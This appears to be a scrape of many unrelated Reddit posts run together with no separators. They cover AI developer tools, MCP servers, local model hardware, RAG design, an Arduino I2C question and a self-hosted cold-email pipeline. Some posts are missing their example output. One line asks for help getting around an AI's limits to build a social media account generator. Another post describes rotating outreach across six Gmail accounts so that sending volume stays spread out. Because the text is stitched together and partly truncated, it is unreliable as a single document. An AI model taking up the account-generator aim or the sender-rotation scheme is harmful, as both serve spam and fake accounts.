Hey r/startups,

I'm a solo dev and soon to be graduate.

I feel like my last post was too generic (i used AI to generate the post lol ) so i want to be more honest and clear

I haven't worked in HR. I don't have a background in recruitment. But I kept seeing the same problem come up in conversations, developers spending days building resume parsing pipelines from scratch every time they touched HR or automation projects

So I built something I thought could help and i want to find out if i was right.

CleanStack is a resume parsing API. You upload a PDF or DOCX, it returns structured JSON in seconds: name, email, phone, skills, work experience, education.

I also added CSV cleaning and basic web extractions.

I'm not here to tell you its perfect. I've tested it own my data but i haven't put it in front of real workflows yet. I genuinely don't know what breaks at scale or what's missing for real use cases. That's exactly why I'm posting.

I would appreciate if 10 people - developers, HR Tech builders, or automation folks who are willing to try it and tell me :

* Does it solve a real problem for you?

* What doesn't work?

* And what's missing?

Free to try 50 calls/month, no card needed. https://cleanstack-six.vercel.app

No pitch. Just trying to build something useful and find out if I'm on the right track.

My co-working space in London put on something a bit different recently: an "indie shark tank" where members could volunteer their product for a live review and critique from founders already making $1M ARR (annual recurring revenue).

Elston Baretto is the founder of Tiiny Host, a simple way to host and share files. Amar Ghose is the co-founder of ZenMaid, a specialised SaaS platform for helping cleaning business owners automate the scheduling and management of their properties.

If you want to take a look at the product they reviewed: PythonStarter.

Here are the top 3 pieces of advice they gave me:

1. Can you get LLMs to recommend your product?

See the video clip here: https://youtube.com/shorts/c0CQQkGay44

The first major piece of feedback I got was when Amar highlighted Elston and Tiiny Host's recent uptick in sales. Amar pointed out that Tiiny was "blowing up" right now due to organic recommendations on AI LLM platforms like ChatGPT and Claude Code.

Part of this advantage is simply time in the game. Tiiny Host has been producing SEO content related to its file hosting service for 5 years consistently now. So there is a lot of existing content already out there which the LLMs are trained on which leads to recommendations.

So the actionable advice for PythonStarter and for any other productivity tool is to start creating content consistently and at scale now. In my case the focus is to become the got-to resource that LLMs will cite when someone asks a question in a chatbot about building securely with Python and Flask.

It's a long game (Elston said minimum 12 months) but as the Chinese proverb says: "the best time to plant a tree was 20 years ago - the second best time is now!"

2. YouTube is an underrated distribution channel in the indie developer community

See the video clip here: https://youtube.com/shorts/k0jwA6W75ZE

The second big takeaway was that Elston advised that I make 10 to 20 YouTube videos demonstrating how to build with PythonStarter. YouTube and video in general is also a good way to build trust as he said I should put my face on camera as the founder while explaining the product.

Many developers and product builders are not willing to invest time into video and may be a bit camera shy. So this could be your unique edge. After all, video is now the language of the internet. Video is something I will definitely be focusing on for PythonStarter in the coming weeks.

3. The security argument nobody is making

See the video clip here: https://youtube.com/shorts/atjqfao1OPo

One common piece of feedback that I often get about PythonStarter - why use this when I can just vibe code the same functionality?

My response (which Amar and Elston seemed to be convinced by!) was that most vibe coding tools default to JavaScript-heavy stacks as the JavaScript ecosystem is huge and LLMs are well-trained on it.

This is all well and good, but major security issues come into play for vibe coders without formal development experience. This is because with full-stack JavaScript web apps, the separation between frontend and backend logic can often be unclear.

Wiz Research found that 1 in 5 organisations using vibe-coding platforms have client-side authentication logic that can be bypassed simply by modifying JavaScript in the browser.

AI-assisted developers hardcode API keys, passwords, and tokens directly into source code at a 40% higher rate than developers with prior experience.

With Python and Flask, there is a clean boundary between the backend and frontend. The server stays the server, and what's private stays private if you have a good system setup from the beginning.

Elston and Amar both said that I should lean into the security advantages of PythonStarter more heavily in my marketing copy. For other developers operating in this space: if you can offer higher quality security and peace of mind as part of your products, it could be a differentiator in a sea of vibe-coded apps with security holes and vulnerabilities.

If you would like to watch the whole conversation, here's the full video: https://youtu.be/9VJa55OzyyM

Anyone else in the boat where AI tools have you shipping so fast that you now have 10+ projects in various states of "almost done" or "I should get back to that"?

I built VibeFocus to solve this for myself. It's a portfolio intelligence tool — one place to see all your projects, understand which ones have momentum, and decide what to focus on this week.

What makes it different from Trello/Linear/etc:

- It connects to your actual local git repos and analyzes your code

- AI advisor (Claude) has full context on every project — code, git history, docs, insights

- Health signals tell you which projects are active, cooling, or dormant

- Weekly Focus view to commit to 1-3 projects and set goals

- Analytics: commit heatmaps, velocity, stall alerts, streaks

- 32-tool MCP server so Claude Code can read/write your portfolio during sessions

Stack: React + FastAPI + SQLite + Claude API + Anthropic Agent SDK

It's free and open source:

- GitHub: https://github.com/ericblue/vibefocus

- Website: https://vibefocus.ai

Just released v0.1.0 over the weekend. Would love feedback from other vibe coders and what would make this useful for your workflow?

Pessoal,

Tenha uma pergunta genuina.

Eu tenho feito alguns testes de llm local e em alguns casos, eu utilizo o Claude Code (instalação original), eu nem preciso fazer login nele, então não existe nenhum risco de banimento.

Dito isso, gostaria de saber de quem usa ou criou algum fork, qual a vantagem de utilizar essas versões alternativas baseadas no vazamento do Claude Code recentemente...

Por exemplo, ja vi bastante gente comentando que o contexto fica maior porque o Claude Code parece adicionar muita coisa.

Eu nem baixei essas versões alternativas (nem mesmo para brincar), porque estamos vendo explorações e roubos de identidade por meio de instalação do nem por exemplo...

O opencode não é uma excelente alternativa ao Claude Code?

Vibecoding changed the front half of company building.

A founder can now sit with Claude, Cursor, Replit, or Bolt, describe a product in plain English, iterate in natural language, and get to a working app in days instead of months. That shift is real, and it is why so many more products exist now than even a year ago.

But the moment the product works, the shape of the problem changes.

Now the founder needs market research, positioning, lead generation, outreach, content, follow-up, and some way to keep all of it connected across time. That work does not happen inside one codebase. It happens across research workflows, browser actions, enrichment, CRM updates, email, publishing, and ongoing decision-making. That is where we felt the gap.

Vibecoding has a clean execution loop. Growth does not.

That is why we built Ultron the way we did.

We did not want another wrapper where a user types into a chat box, a model sees a giant prompt plus an oversized tool list, and then improvises one long response. That pattern can look impressive in demos, but it starts breaking as soon as the task becomes multi-step, cross-functional, or dependent on what happened earlier in the week.

We wanted something closer to a runtime for company execution.

Under the hood, Ultron is structured as a five-layer system.

The first layer is the interaction layer. That is the chat interface, real-time streaming, tool activity, and inline rendering of outputs.

The second layer is orchestration. That is where session state, transcript persistence, permissions, cost tracking, and file history are handled.

The third layer is the core execution loop. This is the part that matters most. The system compresses context when needed, calls the model, collects tool calls, executes what can run in parallel, feeds results back into the loop, and keeps going until the task is actually finished.

The fourth layer is the tool layer. This is where the system gets its execution surface. Built-in tools, MCP servers, external integrations, browser actions, CRM operations, enrichment, email, document generation.

The fifth layer is model access and routing.

That architecture matters because growth work is not one thing.

A founder does not actually want an answer to a prompt like help me grow this product.

What they really want is something much more operational.

Research the category.
Map the competitors.
Find the right companies.
Pull the right people.
Enrich and verify contacts.
Score them against the ICP.
Draft outreach.
Create follow-ups.
Generate content from the same positioning.
Keep track of the state so the work continues instead of resetting.

That is not a chatbot interaction.
That is execution.

So instead of one general assistant pretending to be good at everything, Ultron runs five specialists.

Cortex handles research and intelligence.
Specter handles lead generation.
Striker handles sales execution.
Pulse handles content and brand.
Sentinel handles infrastructure, reliability, and self-improvement.

The important part is not just that they exist. It is how they work together.

If Specter finds a strong-fit lead, it should not stop at surfacing a nice row in a table. It should enrich the lead, verify the contact, save the record, and create the next unit of work for Striker. Then Striker should pick that work up with the research context already attached, draft outreach that reflects the positioning, start the follow-up logic, and update the state when a reply comes in.

That handoff model was a big part of the product design.

We kept finding that most AI tools are still built around the assumption that one request should produce one answer. But growth work does not behave like that. It behaves more like a queue of connected operations where different kinds of intelligence need different tool access and different execution patterns.

Parallel execution became a huge part of this too.

A lot of business tasks are only partially sequential. Some things do depend on previous steps, but a lot of work does not. If you are researching a category, scraping pages, pulling firmographic data, enriching leads, and checking external sources, there is no reason to force all of that into one slow serial chain. So we built Ultron so independent work can run concurrently. The product is designed to execute a large number of tasks in parallel, and within each task the relevant tool calls can run at the same time instead of waiting on each other unnecessarily.

That alone changes the feel of the system.

Instead of watching one model think linearly through everything, the user is effectively working with an execution environment where research, lead ops, sales actions, and content prep can all move at the pace they naturally should.

The other thing we cared about was skills.

Not vague agent personas.
Not magic prompts hidden behind branding.
Actual reusable execution patterns.

That mattered to us because a serious system should not rediscover the same task shape every time. Competitive analysis should have a stable execution logic. Cold outreach should have a stable execution logic. Content scoring should have a stable execution logic. Lead qualification should have a stable execution logic.

Once you package those as skills, the system becomes much more reliable. The agents are no longer improvising the structure of work from scratch every time a founder asks for something. They are invoking tested patterns inside a shared runtime.

That is really the core idea behind vibegrowing.

Vibecoding let founders describe what they wanted built and let the system figure out the implementation.

Vibegrowing is the same shift applied to the other half of building a company.

You describe the market you want to win, the people you want to reach, the motion you want to run, and the system handles the execution across research, leads, outreach, content, and follow-through.

That is what Ultron is for.

Not replacing Claude.
Not competing with the model itself.
Building the execution layer around it for the part that starts after the product already exists.

That was the big realization for us.

The bottleneck after shipping is usually not intelligence in the abstract.
It is coordination.
It is task decomposition.
It is tool access.
It is agent boundaries.
It is parallel execution.
It is whether the work can continue tomorrow without starting over.

That is the product we wanted to build.

Curious how other people building on Claude are thinking about this.

Especially around:
agent specialization,
parallel tool execution,
skills as reusable work units,
and how much of the product should live in the runtime rather than in the prompt.

https://reddit.com/link/1se574j/video/ha7ze2q4sltg1/player

Genuine question. As agents get more autonomous, it seems likely that questions like these will become more relevant, particularly in societies with a tendency to anthropomorphize.

built this to avoid killing the vibe when working with agents: generate a site, deploy it right away, done

idea is simple, prompt for a deployment, get back a live URL you can share

the service is called ShipStatic and works with whatever setup you’re using: CLI, MCP and SKILL file

FASTER FASTER FASTER

All jokes aside this is actually one of the coolest and simplistically brilliant ideas I have seen for ages.

Been experimenting with this and the difference is night and day. If you just ask Claude to build a dashboard or landing page, you get generic looking output. But if you drop a complete design system — tokens, spacing, elevation, typography, component styles — into context first, it actually builds things that look designed.

It's like the difference between asking someone to cook vs giving them a recipe. The skill is there, it just needs direction.

I even tried detailed UI/UX system prompts with specific design rules — "use glassmorphic style, 8px spacing scale, soft shadows." It helps initially but Claude drifts after a few components. An actual CSS reference file keeps it locked in because it's not interpreting vibes, it's following a spec.

Ended up building a few different design system files (glassmorphic, neumorphic, minimalist, brutalist) specifically for this workflow. Happy to share more about the approach if anyone's interested.

I keep seeing the same failure pattern in long-running Claude setups.

The first few runs look clean. Then a tiny tool mismatch slips in, a prompt gets slightly reworded, or one handler starts returning a shape the rest of the chain did not expect. Nothing fully crashes, so it looks fine in logs. But the agent starts making worse decisions every cycle.

That is the part that has been hardest to debug for me. Not hard failures. Slow reliability decay.

I started tracking each tool call with a tighter schema check, the exact prompt version, and the response shape that came back from the last known good run. That helped, but it still misses the cases where Claude technically completes the step while drifting from the intended behavior. By the time someone notices, the bad output has already propagated through downstream tasks and the postmortem is messy.

What are you using to catch that kind of silent tool-call drift early, especially in systems that run on a schedule instead of under live supervision?

I've got about 6+ google mini's currently through-out my house, they work great for google home assistant... but lately every time google "upgrades" - it seems like a downgrade. I've already got HA set up to control my smart switches, outlets, automation, etc. and then integrated HA into google so i can still use my google to turn stuff on / off. However - I'm looking to get more control over the AI integration - google is going the opposite direction that i want to go....

Soo... in theory - i want to "upgrade" my google mini's and physically integrate HA into them.

I'm hoping someone here as already popped apart a google mini, and can tell me if a respeaker lite would fit inside - without removing anything. I want to share the same speaker that the google uses - i know the mic's inside the google mini's are directly integrated into googles system so i can't use them for the respeaker.

Thought process is -

Shared power supply powering both google mini + Respeaker lite

Respeaker lite - has it's own wake word that triggers HA

Respeaker lite's wake word will also trigger a relay to steel the speaker from google

When completed with my HA voice commands / answers - it would kill the relay and return the speaker to google.

As a fail safe i'll set up "ok google" as a wake word for Respeaker as a kill switch for the relay so when i use google it for sure has the speaker.

Again - the idea is 1 unit - 1 speaker, 2 voice assists (google + HA Via Respeaker lite)

Any advice before I dive further down this rabbit hole?

Paper presenting a two-layer CRDT architecture (CRDTMergeState) that enables conflict-free merging of neural network models across 26 strategies.

Paper:
https://github.com/mgillr/crdt-merge/blob/main/paper/CRDT_Merge_ArXiv.pdf

Repo:
https://github.com/mgillr/crdt-merge

I’ve been working on a project called AICT — a set of Unix-like tools designed for AI agents — and it includes a built-in MCP (Model Context Protocol) server.

Repo: https://github.com/synseqack/aict

🔌 What the MCP server does

Instead of an agent doing:

ls src/ 

and parsing terminal output…

It can call:

{ "tool": "ls", "path": "src/" } 

and get structured data back (XML/JSON).

No shell. No parsing. No ambiguity.

⚙️ What’s exposed via MCP

22 tools as typed functions:

• File: cat, stat, wc, file
• Search: ls, find, grep, diff
• Path: pwd, basename, dirname
• Text: sort, uniq, cut, tr
• System: env, ps, df, du, checksums

Also includes some git operations (status, diff, log, etc.)

🧠 Why MCP here?

Traditional CLI tools:

• return human-formatted text
• require parsing
• introduce ambiguity

MCP + structured tools:

• typed function calls
• predictable schemas
• better agent reliability

The goal was to move from:

to:

🔧 Implementation notes

• Written in Go (single binary, no deps)
• Structured output by default (XML/JSON)
• Absolute paths everywhere
• Errors returned as structured data (stdout-safe)
• Cross-platform (Linux/macOS/Windows)

⚠️ Design choices

• Read-only (no destructive ops like rm, mv)
• Not trying to be GNU-compatible
• Focused on AI-first workflows

💭 Curious about

• Does this align with how you’re using MCP today?
• Would you prefer pure JSON over XML in MCP responses?
• Any missing primitives that would help agents more?

I’ve been working on AICT — a set of Unix-like tools designed for AI agents — with a built-in MCP server that exposes everything as callable functions.

Repo: https://github.com/synseqack/aict

🔌 The idea

Instead of agents doing:

ls src/ 

and trying to parse output…

They can call:

{ "tool": "ls", "path": "src/" } 

and get structured data back.

📦 Example

Running:

aict ls src/ 

returns:

No parsing. No guessing. Everything labeled.

⚙️ What the MCP server exposes

22 tools as typed functions:

• ls, find, grep, diff
• cat, stat, file, wc
• sort, uniq, cut, tr
• pwd, basename, dirname
• env, ps, df, du, checksums
• basic git operations

🧠 Why this matters for MCP

Most MCP tools still wrap shell commands → return text → agent parses.

This flips it:

• Structured responses (XML/JSON)
• No shell parsing layer
• Predictable schemas
• Better reliability for agents

⚠️ Design choices

• Read-only (no rm, mv, etc.)
• XML default (more token-efficient than JSON at scale)
• JSON also supported
• Single Go binary, no deps

💭 Curious about

• Would you prefer pure JSON over XML in MCP responses?
• Any missing primitives for agent workflows?
• How are you currently handling filesystem access in MCP?

I built a simple setup to run a local AI directly from a USB drive. No install, no internet, just plug and run. Everything stays private and portable.

It’s not the fastest on older PCs, but it works. I made a quick beginner-friendly video showing the setup, would love feedback.

Well since the recent spike in claude code behavior of consuming tokens and not doing shit i just stop using it and I didn't even claimed the usage lollipop claude through at us since it's now more broken then before since we do have a time window till 17 i am waiting for it to be fixed so i can use it longer and better but things doesn't seems going this way but i hope my wait will worth it It's just an observation that i will get a better deal if i wait or worse chances are 50/50 but if you have any other subscription like gemini or codex or cursor etc you can ise that with putting 5$ in open router account and use their top 5 free tier models at no cost and use any provider give it access to those 4-5 LLMs and you'll going way faster than you were. Just make sure to put 0.1 or 0.2 $ limit on your API key so if free is not available it will go for paid one and you won't lose your money it will just stop or all of you money will be puff in no time

I hope this helps you guys because when we do gi e instructions to LLM vs when an agent orchestrated LLM are completely different even gemini performs bery well when it orchestrate.

I built a simple setup to run a local AI directly from a USB drive. No install, no internet, just plug and run. Everything stays private and portable.

It’s not the fastest on older PCs, but it works. I made a quick beginner-friendly video showing the setup, would love feedback.

For any users of GLM-5 on Ollama Cloud, what's the performance like? What kind of token/sec do you get? Am contemplating trying Ollama cloud, but, I already have Alibaba (with decent limits). Just that it's slow on Alibaba (about 10-20tok/sec). Z.AI isn't much better. So, was wondering if I'd get better speeds on Ollama.

Specifically, how AI are programmed, trained, and how they perform their functions.

I’ll be asking this in different subs to see if/how the answers differ

View Poll

Noah Labs Vox uses vocal biomarkers to screen for heart failure from a short voice clip. Trained on over 3 million samples, validated at major medical centers. The idea that your voice carries signatures of cardiac health is fascinating.

Thought this was interesting and wanted to share

https://www.businessinsider.com/anthropic-open-culture-employees-argue-ceo-dario-amodei-slack-2026-4

Hello, I’m working on a project and using this board.

I have a 128x32 LCD with G, V, SDA and SCL pins.

The same goes for the RC522 I2C RFID module.

I connected them to the dedicated G, V, SDA, SCL pins...

But the result is this:

If the display is initialised first, it doesn’t work, but the RFID does, and vice versa.

I tried the following (googled it):

Not connecting both to G, V, SDA, SCL, but connecting the RFID to pins 16/17, but that didn’t help. I used TwoWire, but that didn’t help either.

(I’m a beginner and don’t know much about this, so please bear with me)

Is there any way to solve the problem without changing the sensors? It’s for a university project and I don’t have time to buy new ones.

```

include

include "MFRC522_I2C.h"

include "lcd128_32_io.h"

MFRC522_I2C mfrc522(0x28, 5, &Wire);

lcd lcd(21, 22);

void setup() {

Serial.begin(115200);

delay(1000);

Serial.println("=== BOX SETUP START ===");

Wire.begin(21, 22);

lcd.Init();

delay(200);

lcd.Clear();

lcd.Cursor(0, 0);

lcd.Display((char*)"Hello");

lcd.Cursor(1, 0);

lcd.Display((char*)"LCD test");

lcd.Cursor(2, 0);

lcd.Display((char*)"Line 3");

mfrc522.PCD_Init();

clearAllSessions();

dht.begin();

pinMode(trigPin, OUTPUT);

pinMode(echoPin, INPUT);

pinMode(pirPin, INPUT);

pinMode(buzzerPin, OUTPUT);

digitalWrite(buzzerPin, LOW);

for (int i = 0; i < 3; i++) {

ledcAttach(ledPins[i], 5000, 8); 

}

setupWiFi();

client.setServer(mqttServer, mqttPort);

client.setCallback(callback);

client.setBufferSize(1024);

Serial.print("MQTT buffer size: ");

Serial.println(client.getBufferSize());

Serial.println("RFID ready");

setUiState(UI_IDLE, "");

updateDisplay();

}

```

Or

``` TwoWire I2C_RFID = TwoWire(1); MFRC522_I2C mfrc522(0x28, 5, &I2C_RFID);

lcd lcd(21, 22);

void setup() { Serial.begin(115200); delay(1000); Serial.println("=== BOX SETUP START ==="); Wire.begin(21, 22); // LCD I2C_RFID.begin(16, 17); // RFID mfrc522.PCD_Init();

delay(100); lcd.Init(); delay(200); lcd.Clear(); setUiState(UI_BOOT, ""); updateDisplay();

clearAllSessions();

dht.begin();

pinMode(trigPin, OUTPUT); pinMode(echoPin, INPUT); pinMode(pirPin, INPUT); pinMode(buzzerPin, OUTPUT); digitalWrite(buzzerPin, LOW);

for (int i = 0; i < 3; i++) { ledcAttach(ledPins[i], 5000, 8); }

setupWiFi();

client.setServer(mqttServer, mqttPort); client.setCallback(callback); client.setBufferSize(1024);

Serial.print("MQTT buffer size: "); Serial.println(client.getBufferSize());

Serial.println("RFID ready");

setUiState(UI_IDLE, ""); updateDisplay(); }

```

I have collected interview experiences from various platforms, primarily LeetCode, and I plan to analyze them using a locally hosted LLM. My goals are:

• To transform these unstructured interview experiences into well-organized, cleanly formatted documents, as the original write-ups are not standardized.
• To analyze the interview questions themselves in order to identify patterns, key problem areas, and trends in the types of questions being asked.

Machine conf:

• Chip: Apple M1 Max
• Memory (RAM): 32 GB
• Device: Mac (Apple Silicon)

Please suggest LLM to run locally

I know there are literally hundreds of apps like this already, so this isn’t me pretending I invented a new category. but I wanted something really simple for myself.

I mainly wanted a lightweight menu bar app where I could quickly check my Claude and Codex usage and and gives me a quick sense of whether I should slow down, keep going, or use the remaining budget more intentionally, without opening a bigger dashboard or digging through CLI output.

So I made this app, AIPace. It sits in the menu bar, uses my existing CLI login, and shows current usage for Claude and Codex in one place.

You can see your 5hr/weekly usage on the menu bar

A few things I cared about:

• very lightweight
• menu bar first
• no telemetry / no backend
• uses existing local auth (just install and if you have codex/claude authenticated, it should just work)
• easy to tell how usage is trending (based on weekly usage)
• notification when usage resets
• color options because why not

Mostly just a small utility I wanted for myself, but I figured other people here might want the same thing.

Here's the repo if you want to use it: https://github.com/lbybrilee/ai-pace

This is my first Swift app and I don't expect to be making any more, so I haven't paid for the Apple Dev Program - you can just clone the source code and run the script to create the dmg file you can use to install locally.

I have a 5060ti 16gb with 16gb ram DDR5, I want to setup a an AI on my PC that can code well and ideally make changes(change settings install stuff etc) in the OS(fedora 43) and either has no upper limit in terms of tokens or the ceiling is very high that it would be nearly impossible to reach it in a day.

I am also confused by the claude code leak and how things like OpenClaude and claw-code what they are and how it compares to the alternatives, I need help navigating all this.

what's the best open source model what would work on my PC for this use case? also this is my first time doing this so please tell me how to set it up in order from scratch.

It seems like many RAG pipelines still do:

raw docs -> chunk -> embed -> retrieve -> mask output

But if documents contain emails, phone numbers, names, employee IDs, etc., the vector index is already derived from sensitive data.

An alternative is enforcing redaction as a hard pre-index stage:

docs -> docs__pii_redacted -> chunk -> embed

Invariant: unsanitized text never gets chunked or embedded.

This feels more correct from a data-lineage / attack-surface perspective, especially in self-hosted and open-source RAG stacks where you control ingestion.

Curious whether others agree, or if retrieval-time filtering is sufficient in practice.

Example notebook:

https://github.com/mloda-ai/rag_integration/blob/main/demo.ipynb

According to nvidia the RTX 30xx series have 8.6 compute capability support.

I just wanted to know if there are any hardware limitations that impact model inference and training.

My concern is if the hardware doesn't support whatever fancy version of flash attention or the like and then I can't use it or it is 10x slower.

I don't think it makes a difference, beyond speed, but the GPU would be a mobile RTX 30xx series. It sucks but it's what I can afford now.

Thanks

I need to use it to create a social media account generator but it limits me. :(

Its out people. What kind of gens are you getting out of it?

https://huggingface.co/DeepBeepMeep/MagiHuman

I can get one of these for 450usd (they are available in my country at a WAY cheaper price than Nvidia):
https://www.asrock.com/Graphics-Card/Intel/Intel%20Arc%20B580%20Challenger%2012GB%20OC/

I already have a 3060 12gb, it runs stable diffusion well, but it does take a ton of time on the newest bigger models like Flux or video gen.
I recently discovered Anima and it's great but runs slower, but at least it needs less vram.

Would I get any performance improvements by buying this graphics card and using both of them together? Or is it too much of a hassle and not worth it?
Also, I can only find posts from a year ago, is there support for these nowadays?

Been thinking about this after Karpathy's LLM knowledge base post last week.

The standard RAG approach: chunk documents, embed them, retrieve relevant chunks at query time. Works well, scales well, most production systems run on this.

But I kept hitting the same wall, RAG searches your documents, it doesn't actually synthesize them. Every query rediscovers the same connections from scratch. Ask the same question two weeks apart and the system does identical work both times. Nothing compounds.

So I tried the compile-upfront approach instead. Read everything once, extract concepts, generate linked wiki pages, build an index. Query navigates the compiled wiki rather than searching raw chunks.

The tradeoff is real though:

• compile step takes time upfront
• works best on smaller curated corpora, not millions of documents
• if your sources change frequently, you're recompiling

But for a focused research domain which say tracking a specific industry, or compiling everything you know about a topic, the wiki approach feels fundamentally different. The knowledge actually accumulates.

Built a small CLI to test this out: https://github.com/atomicmemory/llm-wiki-compiler

Curious whether people here think compile-upfront is a genuine alternative to RAG for certain use cases, or whether it's just RAG with extra steps.

Hello everyone

I'm not sure when this issue started as I don't use the search modal too much, from the dashboard if I click on the magnifier icon to search in HA, it should show a dialog modal to search anything, in my case it shows empty modal, I use ARC browser I tested this in Safari and same issue.

I also tried clicking E or D from the keyboard to search entities and devices directly but same issue, opens empty modal.

Anyone else having this issue too? or is it me only?

https://preview.redd.it/hmcqbqdevltg1.png?width=2032&format=png&auto=webp&s=7d7485422f0f1869265dcfe2c1812266943ba8d3

We were spending on outreach tools and still doing too much manually, so I rebuilt the workflow as a self-hosted automation stack.

The goal was simple:

take lead input → personalize messaging → send at scale → track actual intent → trigger smarter follow-ups

without paying for a full outreach SaaS stack.

Here’s how it works.

⸻

What the system does

Leads come in through Airtable.

For each lead, an AI step reads things like:

• company size • sector • role / title 

Based on that, it selects the best-fit email template from a small template set, along with the most relevant customer proof / testimonial block.

The email is then rendered as HTML and sent automatically, including a WhatsApp CTA inside the message.

Once a lead enters the pipeline, the rest runs automatically.

⸻

Sending setup (6-account Gmail rotation)

Instead of using a dedicated outreach platform, I set it up to rotate sending across 6 Google Workspace accounts.

A hashing step maps each lead to the same sender account every time, so the sender identity stays consistent for that lead. Then a switch routes the send through the correct Gmail credential.

This keeps volume distributed and makes the setup surprisingly usable without another paid layer on top.

⸻

WhatsApp conversion tracking

Each email includes a pre-filled WhatsApp message with a unique reference tied to that lead.

If someone clicks through and actually sends the message, a webhook captures it and updates the lead record in Supabase.

That makes it possible to separate:

• people who opened / clicked • people who showed actual buying intent 

That distinction ended up being much more useful than basic “email engagement” metrics.

⸻

Intent-based follow-ups

This was the part I cared most about.

Instead of sending follow-ups on a fixed schedule to everyone, the follow-up logic is based on behavior.

Example:

• if a lead clicks the WhatsApp CTA • but doesn’t complete the conversation within \~48 hours 

…the system triggers a follow-up only for that segment.

So instead of blasting the whole list again, it only nudges people who already showed some level of interest.

It’s a much cleaner signal than standard sequence logic, and it reduces unnecessary sends.

⸻

Infra / cost

The whole thing is pretty lightweight.

• AWS EC2 t3a.small (ap-south-1): \~$12/month • n8n self-hosted (Docker + Nginx + SSL): free • Supabase: free tier • Airtable: free tier • Gmail API: free • OpenAI: roughly \~$0.001–0.003 per lead depending on prompt usage 

Total: roughly ~$12–15/month in infra

Compared to the usual stack cost for this kind of workflow, it was way cheaper than I expected.

⸻

Stack

• n8n — orchestration • OpenAI — template / messaging selection • Airtable — lead input • Supabase — event + conversion tracking • Gmail API — sending • WhatsApp Business API — inbound attribution 

⸻

What I found interesting

The biggest takeaway wasn’t really the sending part.

It was that once intent is tracked properly, the follow-up logic becomes way more useful than generic “send email 2 after 3 days” automation.

That part alone made the system feel much more efficient than the typical blast-style setup.

⸻

Made with Invideo AI.

Tools used:
• Frames: Nano Banana 2
• Image-to-video: Kling 3.0 Multi-shot
• Final edit: CapCut

Google has recently added support for Veo3.1 lite a much cheaper and lighter model with decent quality

So I have created a comfyui node which can import and use veo3.1

Project link :- https://github.com/Anil-matcha/veo3.1-comfyui

Signed up for what was advertised as fully automated chargeback handling. Turns out I still need to manually approve evidence packages before submission, review each case for accuracy, and upload supporting documents the system can't access. The automation basically just formats things into a template. I'm still spending 25 minutes per dispute instead of 45. Better than nothing but not the hands off solution I expected. Are there actually solutions that handle everything end to end or is some manual involvement always required?

I was working on something earlier and suddenly started getting this error on Claude:

“This isn’t working right now. You can try again later.”

At first I thought it was just my internet, but everything else seems fine. Tried refreshing and retrying a few times… same issue keeps showing up.

Happened multiple times already, so not sure if it’s just a temporary glitch or something going on in the backend.

Anyone else facing this today? Or just me?

Guys, I was planning to get a hostinger VPS, I wanted to self host n8n with ffmpeg thru docker, do I could just migrate my data from locally hosted on windows to VPS, what are the requirements for that and how do we do that?? Any helpful guidance will be appreciated. Thank You.

Or is there a chance of variation among the answers to all users who ask the same question at the exact same moment?

Mostly ambiguous, open ended, or opinion based questions, obviously not like “is the sky blue”

Hi there, I'm working on a workflow and I'm having a bit of trouble with the APIs for some platforms and certain nodes.

NPCterm gives AI agents full terminal access not only bash. The ability to spawn shells, run arbitrary commands, read screen output, send keystrokes, and interact with TUI applications Claude/Codex/Gemni/Opencode/vim/btop...

⏺ npcterm - terminal_create (MCP)(size: "120x40") ⏺ npcterm - terminal_send_keys (MCP)(id: "a0", input: [{"text":"cd ~/Development/npcterm && codex"},{"key":"Enter"}]) ⏺ npcterm - terminal_show_screen (MCP)(id: "a0") ⏺ Codex is loading. Let me wait a moment for it to start up. ⏺ Bash(sleep 3) ⎿ (No output) ⏺ npcterm - terminal_show_screen (MCP)(id: "a0") ⏺ ╭──────────────────────────────────────────────╮ │ >_ OpenAI Codex (v0.118.0) │ │ │ │ model: gpt-5.4 medium /model to change │ │ directory: ~/Development/npcterm │ ╰──────────────────────────────────────────────╯ Tip: New Use /fast to enable our fastest inference at 2X plan usage. › Use /skills to list available skills gpt-5.4 medium · ~/Development/npcterm · main · 100% left · 0% used · 5h 100% · weekly 100% Terminal a0 (120x40) is live. What do you want to type into Codex? ────────────────────────────────────────────────────────────────────────── ❯ ────────────────────────────────────────────────────────────────────────── 

Use with precautions. A terminal is an unrestricted execution environment.

Features

• Full ANSI/VT100 terminal emulation with PTY spawning via portable-pty
• 15 MCP tools for complete terminal control over JSON-RPC stdio
• Process state detection -- knows when a command is running, idle, waiting for input, or exited
• Event system -- ring buffer of terminal events (CommandFinished, WaitingForInput, Bell, etc.)
• AI-friendly coordinate overlay for precise screen navigation
• Mouse, selection, and scroll support for interacting with TUI applications
• Multiple concurrent terminals with short 2-character IDs

Thanks For Watching!

Images made with Midjourney. Animation made with Kling 3.0 Omni.

Song: L’Amour Impitoyable by Shiro SAGISU (2023)

YT: @DreamHouseAnimation

is it possible in this day and age to single handedly code an ai? and if it is possible how many lines of code would it take? or how good would you need to be to make it?

edit: using pytorch and coding in python

He thought his sales process was solid. Good offer, decent follow-up sequence, a CRM he actually used. What he couldn't figure out was why so many leads were going cold before he even got a real conversation going.

This was a roofing contractor in suburban Ohio. Not a small operation... 6 crews running, around $4,800 a month going into Google Ads. He'd get a form submission or a call-back request and respond when he got to it. Usually within a few hours. Sometimes the next morning if it came in late.

Seemed reasonable to him. It looked like slow-motion sabotage to me.

Here's what the data actually shows: responding to a lead within 5 minutes makes you up to 10x more likely to convert them compared to responding just 30 minutes later. Not hours later. Thirty. Minutes. The window where someone is still in buying mode, still has the tab open, still thinking about their damaged roof or whatever brought them to your site... it's shockingly short. By the time most business owners "get to it," the lead has already moved on or talked to someone else.

His average response time was 4 hours and 17 minutes. I tracked it myself over 3 weeks.

So I built him something embarrassingly simple. When a lead comes in through his website or his Google Ads landing page, an automated text goes out within 90 seconds. Not a robotic "we received your inquiry" message... an actual human-sounding text from his number that says who's reaching out, why, and asks one qualifying question. Then it notifies him directly so he can jump in the moment they respond.

That's it. No AI chatbot. No complex routing. Just speed plus a warm first touch.

In the first 6 weeks his close rate went from 22% to 31%. On his existing ad spend. He didn't change his offer, didn't hire anyone, didn't run a single new campaign. The leads were always there... he just kept losing them in that dead window between intent and contact.

The lesson I keep coming back to: most businesses don't have a lead generation problem. They have a lead response problem. The follow-up system they built works fine, for a world where buyers wait around. Buyers don't wait around anymore.

If you're running any kind of paid traffic and you're not responding to leads within 5 minutes, you're essentially setting money on fire and wondering why the room's getting warm.

Hi r/artificial !

I'm posting on behalf of a friend who is conducting academic research for their dissertation. The survey looks at how consumers perceive the use of AI in fashion brand marketing, and how that affects brand trust, authenticity and purchase intention.

It covers things like:

•⁠ ⁠AI-generated ads and models

•⁠ ⁠Personalised product recommendations

•⁠ ⁠Targeted advertising

•⁠ ⁠Virtual influencers

